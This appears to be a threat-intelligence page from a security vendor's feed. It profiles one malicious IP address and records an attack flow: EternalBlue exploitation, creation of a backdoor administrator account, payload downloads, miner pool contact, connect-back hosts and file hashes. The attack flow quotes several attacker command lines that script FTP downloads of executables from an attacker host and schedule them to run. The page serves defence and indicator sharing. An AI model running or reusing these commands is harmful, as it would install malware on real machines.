IP Address: 188.170.231.82Malicious

Weekly Summary

Browse or download a weekly review of our cyber threat intelligence data and gain more insight to help protect your network

Top Threats

Cyber Threat Intelligence

Discover Malicious IPs and Domains with Guardicore Cyber Threat Feed

IP Address:
188.170.231.82​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

SMB MSSQL

Tags

PowerShell HTTP DNS Query Driver Creation Listening Service Creation SMB Null Session Login User Created IDS - A Network Trojan was detected Service Stop CMD Service Configuration Download and Execute Scheduled Task Creation Access Suspicious Domain MS17-010 SMB Outgoing Connection User Added to Group User Removed Driver Start Executable File Modification Known Malware Service Start IDS - Attempted Administrator Privilege Gain Download File File Operation By CMD System File Modification

Connect Back Servers

js.1226bye.xyz pc.pc0416.xyz bumblebeeservers.com apps.identrust.com ip.seeip.org ctldl.windowsupdate.com pool.minexmr.com triangleww.com worldsender.info down.1226bye.pw gamesoxalic.com grinknowledge.com js.1226bye.pw

66.117.6.174 139.5.177.10 173.247.239.186 74.222.14.94 173.208.172.202 223.25.247.240 192.187.111.66

Basic Information

IP Address

188.170.231.82

Domain

-

ISP

PJSC MegaFon

Country

Russian Federation

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2018-12-02

Last seen in Guardicore Centra

2020-01-10

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

Executable file C:\Program Files\Microsoft SQL Server\110\Shared\SqlWtsn.exe was modified

Executable File Modification

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

The machine was exploited using the ms17-010 vulnerability

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 74.222.14.94:80

Outgoing Connection

User admin$ was created with the password ************* and added to groups: Administrators

User Added to Group User Created

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 139.5.177.10:80, 173.247.239.186:80 and 74.222.14.94:80

Outgoing Connection

The file C:\Windows\System32\ok.exe was downloaded and executed

Download and Execute

The file C:\Windows\System32\upsupx.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\upsupx.exe started listening on ports: 32831

Listening

Process c:\windows\system32\u.exe generated outgoing network traffic to: 223.25.247.240:80

Outgoing Connection

Process c:\windows\system32\u.exe attempted to access suspicious domains: triangleww.com

Access Suspicious Domain Outgoing Connection

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

The file C:\Windows\Inf\msief.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\lsmm.exe started listening on ports: 32832

Listening

The file C:\Windows\System\msinfo.exe was downloaded and executed 2 times

Download and Execute

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

Process c:\windows\inf\lsmm.exe attempted to access domains: pool.minexmr.com

DNS Query

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

c:\windows\system32\services.exe installed and started c:\windows\system\msinfo.exe as a service named xWinWpdSrv under service group None

Service Creation Service Start

Service netprofm was stopped

Service Stop

Service NlaSvc was stopped

Service Stop

Process c:\windows\system\msinfo.exe attempted to access suspicious domains: ip.seeip.org

DNS Query Access Suspicious Domain

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz

DNS Query Access Suspicious Domain

Process c:\windows\system\msinfo.exe attempted to access domains: apps.identrust.com and ctldl.windowsupdate.com

DNS Query

csrs.exe was downloaded

Download File

The file C:\Windows\System32\drivers\npf.sys was downloaded and loaded by system

Download and Execute

c:\windows\system32\services.exe installed and started system32\drivers\npf.sys as a service named NPF under service group None

Service Creation Driver Start

The command line cmd /c echo open ftp.0603bye.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.0603bye.info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.0603bye.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Connection was closed due to timeout

Associated Files

C:\Windows\System32\ok.exe

SHA256: a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d

2241024 bytes

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282360 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48128 bytes

C:\Windows\System\msinfo.exe

SHA256: 7ec433dd0454553b09f11c39944e251e3ee32e4981f52f02adc3011eb0ce6537

4887552 bytes

C:\Windows\System32\drivers\npf.sys

SHA256: 4bfaa99393f635cd05d91a64de73edb5639412c129e049f0fe34f88517a10fc6

36600 bytes

C:\Windows\Temp\conhost.exe

SHA256: 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd

221184 bytes

C:\Windows\Inf\msiefs.exe

SHA256: e8ddefd237646a47debc01df9aa02fbcae40686f96b7860511c73798c7546201

305276 bytes

C:\Windows\debug\item.dat

SHA256: 80f8ba7992a5dbaa4a2f76263258d5d7bf3bb8994f9e8a4a5294f70ab8e38ea4

3358208 bytes

Oops! - Do you see your IP here? Contact us at labs@guardicore.com to remove it from the Threat Intelligence data.

IP Address: 188.170.231.82​Malicious